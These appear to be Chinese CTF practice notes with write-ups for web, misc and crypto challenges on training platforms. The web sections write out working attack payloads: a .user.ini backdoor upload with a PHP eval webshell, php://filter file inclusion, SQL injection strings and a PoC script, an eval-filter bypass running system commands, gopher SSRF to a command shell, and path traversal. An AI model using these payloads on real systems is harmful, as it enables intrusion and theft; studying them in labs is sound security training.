
CTF
基本介绍
当前大多数偏向于Web跟Misc,会你逆向和Pwn的很少
Web方向:需对有一定的代码基础,如php,进行代码审计
密码要求数学和算法好
杂项:图片,音视频分离
必备工具
BurpSuite、Webshell管理工具、Hackbar、
知识体系
题目练习
防世界
Web
easyphp
代码审计
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
easyupload
/uploads/index.php即头像,需要将马写入到头像当中
使用auto_prepend_file=a.jpg自动将php文件插入到头像文件中(.user.ini的后门利用)
在PHP中,auto_prepend_file 和 auto_append_file 是两个配置指令,它们允许开发者自动地在PHP文件执行前后插入特定的PHP文件。这可以通过修改 php.ini 文件或使用 .htaccess 文件在特定目录下进行设置。
POST /index.php HTTP/1.1
Host: 61.147.171.105:57078
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:57078
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Referer: http://61.147.171.105:57078/index.php
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4rkpVEzV4GFKRJX0
Accept-Language: zh,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 58029
------WebKitFormBoundary4rkpVEzV4GFKRJX0
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpeg
GIF89a
auto_prepend_file=a.jpg
------WebKitFormBoundary4rkpVEzV4GFKRJX0
Content-Disposition: form-data; name="upload"
提交
------WebKitFormBoundary4rkpVEzV4GFKRJX0--
所以这里将马写入头像中时会自动写入/uploads/index.php,需要注意的点是:修改一句话木马为短标签<?=xxx ?>,在文件内容的头部中增加GIF头部GIF89a进行绕过
POST /index.php HTTP/1.1
Host: 61.147.171.105:57078
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:57078
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Referer: http://61.147.171.105:57078/index.php
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4rkpVEzV4GFKRJX0
Accept-Language: zh,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 58029
------WebKitFormBoundary4rkpVEzV4GFKRJX0
Content-Disposition: form-data; name="fileUpload"; filename="a.jpg"
Content-Type: image/jpeg
GIF89a
<?=@eval($_REQUEST['cmd']); ?>
------WebKitFormBoundary4rkpVEzV4GFKRJX0
Content-Disposition: form-data; name="upload"
提交
------WebKitFormBoundary4rkpVEzV4GFKRJX0--
fileinclude
查看源代码,php被注释掉了
审计php代码为文件包含,需要用到php伪协议(
变量从网站传过来的cookie确定,只要修改language参数访问flag目录即可
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
增加,Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag,即可读取flag.php源码
base64解码
inget
根据提示使用id尝试绕过,且为get请求
为sql注入,使?id=1' or 1=1 -- -
或 ?id=1' or'1'='1
绕过即可
或使用sqlmap跑一下
Misc
靶场
数字化靶场
Web
love_math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
通过 GET 参数
c
传入构造的 Payload。代码检查 Payload 长度、绕过黑名单字符(空格、制表符、引号、反引号、方括号等)和函数白名单(动态变量调用不触发函数检查)。
eval
执行代码,system('cat flag.php')
被调用,输出 flag 内容
payload:/?0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
GET /?0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1}) HTTP/1.1
Host: train.whitehat.org.cn:51857
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: language=zh-CN; cr_jwttoken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjE0Yzk1NmIxOWFlMTQ3ODk4MGI3MzhiNjY3YThmMmVhIiwiZXhwIjoxNzUwNTU1NzIzLCJrZXkiOiI4ZmEzMWFjOGZjMjg0YzA3OWE3MWM0Y2NiOWZlZGE2YSIsInVzZXJuYW1lIjoiMTUzMDkzMjMzMDMifQ.3SBJxQvR6hpAWzhajrNGPnOpXrEeeVuO1HJfrAnNGtI
Upgrade-Insecure-Requests: 1
🚩 flag{b0ea013d041d42368c7dbaa969bea6488f1a02ac4e73451082}
ics-06
挨个点击后只有报表中心可以用
选择时间点击确认无响应,但url处有id=1,先测试sql,无果
抓包爆破,当id=2333时返回flag
🚩 flag{2333_bao_pO_OOOO0o_o0OOO}
ics-02 sql注入
存在ssrf(服务端请求伪造)
http://train.whitehat.org.cn:38475/download.php?dl=ssrf,参数dl
目录扫描:
ssrf.pdf
secret.php,全选第一个会进入注册界面
随便填写注册一个
参数:s=3&txtfirst_name=111&txtmiddle_name=111&txtLast_name=111&txtname_suffix=111&txtdob=11%2F11%2F1111&txtdl_nmbr=123&txtRetypeDL=123&btnContinue2=Continue
既然是ssrf,构造ssrf完整路径:http://127.0.0.1/secret/secret.php?s=3&txtfirst_name=111&txtmiddle_name=111&txtLast_name=111&txtname_suffix=111&txtdob=11%2F11%2F1111&txtdl_nmbr=123&txtRetypeDL=123&btnContinue2=Continue
http://train.whitehat.org.cn:38475/download.php?dl=http://127.0.0.1/secret/secret.php?s=3&txtfirst_name=111&txtmiddle_name=111&txtLast_name=111&txtname_suffix=111&txtdob=11%2F11%2F1111&txtdl_nmbr=123&txtRetypeDL=123&btnContinue2=Continue
poc
import requests
import random
import urllib
url = ' http://220.249.52.133:38789/download.php'
# subquery = "database()"
# ssrfw
# subquery = "select group_concat(table_name) from information_schema.tables where table_schema='ssrfw'"
# etcYssrf,users
# subquery = "select group_concat(column_name) from information_schema.columns where table_name='cetcYssrf'"
# secretName,value
# subquery = "select secretName from cetcYssrf LIMIT 1"
# secretname -> flag
subquery = "select value from cetcYssrf LIMIT 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
id = random.randint(1, 10000000)
dl = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "A','b',("+subquery+"),'c'/*",
"txtmiddle_name": "B",
"txtLast_name": "C",
"txtname_suffix": "D.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id
}) + "&")
r = requests.get(url, params={"dl": dl})
print(r.text)
🚩 flag{cpg9ssnu_OOOOe333eetc_2018}
Background_Management_System sql注入
登录注册抓包,进行sql注入,无果
目录扫扫描
shell.php暂时无法利用
发现www.zip 网站备份文件(http://train.whitehat.org.cn:57335/xinan/public/www.zip),下载并打开
代码审计
userinfo.php中是修改密码
先注册一个用户,提示可看个人中心
进入个人中心提示只有管理员可查看隐藏
根据代码审计结果Userinfo.php中的sql语句没有限制
重新注册个用户,根据修改密码时越权为管理员
注册admin'#用户,密码123
在个人中心中修改密码,根据代码审计此时sql语句为:UPDATE users SET PASSWORD='321' where username='admin'#' and password='123'
会直接执行:UPDATE users SET PASSWORD='321' where username='admin',越权为管理员
修改密码成功后,退出使用admin/321登录成为管理员,可查看影藏信息,hint{see_55ceedfbc97b0a81277a55506c34af36_php}
看55ceedfbc97b0a81277a55506c34af36.php,需要一个参数url
提示错误,需要内网,那么这里可能存在ssrf,url=http://127.0.0.1尝试
这里使用gopher协议来进行ssrf,根据前面的shell.php,内网可get_cmd,那就根据ssrf伪装为内网
payload:gopher://127.0.0.1:80/_GET /xinan/public/shell.php?cmd=cat /flag
这里需要对url编码,及 ?
特殊编码
?---->%253F
+---->%2B
最终payload:
gopher://127.0.0.1:80/_GET%20/xinan/public/shell.php%253Fcmd=cat%2B/flag
http://train.whitehat.org.cn:59097/xinan/public/55ceedfbc97b0a81277a55506c34af36.php?url=gopher://127.0.0.1:80/_GET%20/xinan/public/shell.php%253Fcmd=cat%2B/flag
TimeKeeper
随便注册一个账号登录
挨个点击,测试,抓包
在加入购物车-->结算处,有id及price参数,加引号报错
尝试sql注入,无果
目录扫描
/console,出现Flask debug pin安全问题,这个不好搞
源码中有放静态文件asserts目录,尝试目录穿越
payload/../../../flag
-->url编码:2F..%2F..%2F..%2Fflag`
,成功下载flag文件
抓包也可以
🚩 flag{fb3ee29b3fa94830808d61e4b8a880eceb0ffcb52aa44106b8}
Misc
m01
usb流量分析
🚩flag{thisisflag}
m1
图片lsb隐写
🚩 ZmxhZ3tsNURHcUYxcFB6T2IyTFU5MTlMTWFCWVM1QjFHMDFGRH0= ------>flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}
Cephalopod
流量分析, 图片还原
pure_color
使用StegSolve工具即可得到flag
🚩 flag{true_steganographers_doesnt_need_any_tools]
tunnel
流量提取,base64隐写
tshark -Y "ip.dst==8.8.8.8 && dns.qry.type == 1" -r tunnel.pcap | awk '{print $(NF)}' | awk -F '.' '{print $1}' > b64.txt
password: B@%MG"6FjbS8^c#r
🚩 flag{D01n't_5pY_0nmE}
Crypto
wtc_rsa_bbq
公钥算法
RSA 是最常用的公钥算法,由罗纳德·李维斯特、阿迪·萨莫尔和伦纳德·阿德曼于 1977 年首次公开描述。许多协议,例如安全外壳 (SSH)、SSL-TLS、S/MIME和OpenPGP,都依赖于 RSA 加密和安全的数字签名功能
poc
"""
p = (2^4244)*699549860111847-1
q = (2^4244)*699549860111847+1
φ (n) = ( p - 1 ) (q -1)互质的数
"""
import gmpy2
from Crypto.Util.number import bytes_to_long, long_to_bytes
n=0x62D3D61C92452630147E89670FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
e=65537
p=(2**4244)*699549860111847-1
q=(2**4244)*699549860111847+1
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
with open('cipher.bin','rb') as f:
data=bytes_to_long(f.read())
res=long_to_bytes(pow(data,d,n)).decode()
print(res)
# flag{how_d0_you_7urn_this_0n?}
🚩 flag{how_d0_you_7urn_this_0n?}
best_rsa
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import gmpy2
pk1=open('publickey1.pem','rb').read()
pk2=open('publickey2.pem','rb').read()
ch1=open('cipher1.txt','rb').read()
ch2=open('cipher2.txt','rb').read()
pub1=RSA.importKey(pk1)
pub2=RSA.importKey(pk2)
n1=pub1.n
e1=pub1.e
n2=pub2.n
e2=pub2.e
c1=bytes_to_long(ch1)
c2=bytes_to_long(ch2)
print(f"n1={n1}")
print(f"e1={e1}")
print(f"c1={c1}")
print(f"n2={n2}")
print(f"e2={e2}")
print(f"c2={c2}")
def egcd(a,b):
if b==0:
return a,1,0
else:
g,x,y=egcd(b,a%b)
return g,y,x-a//b*y
assert n1==n2
s1=gmpy2.invert(e1,e2)
s2=egcd(e1,e2)[2]
if(s1<0):
s1=-s1
c1=gmpy2.invert(c1,n1)
if(s2<0):
s2=-s2
c2=gmpy2.invert(c2,n1)
m=long_to_bytes((pow(c1,s1,n1)*pow(c2,s2,n1))%n1)
print("\n")
print(f"flag:{m}")
🚩 flag{interesting_rsa}
interesting
c0
"""
n=p*q ϕ(n)=(p-1)(q-1)
d是e关于模ϕ(n)的乘法逆元,即d⋅e≡1 (mod ϕ(n))
"""
import gmpy2
p=473398607161
q=4511491
e=17
n=p*q
n1=(p-1)*(q-1)
print(f"n={n}")
print(f"n1={n1}")
d=gmpy2.invert(e,n1)
print(d)
# n=2135733555619387051
# n1=2135733082216268400
# 125631357777427553
🚩 flag{125631357777427553}
mybase
重命名.txt
ZmxhZ3syY2M0ZGVhYzAxNTcxMWViYWNlYTUwZTA4NWM5ZGVkOH0= ---> flag{2cc4deac015711ebacea50e085c9ded8}
- 感谢你赐予我前进的力量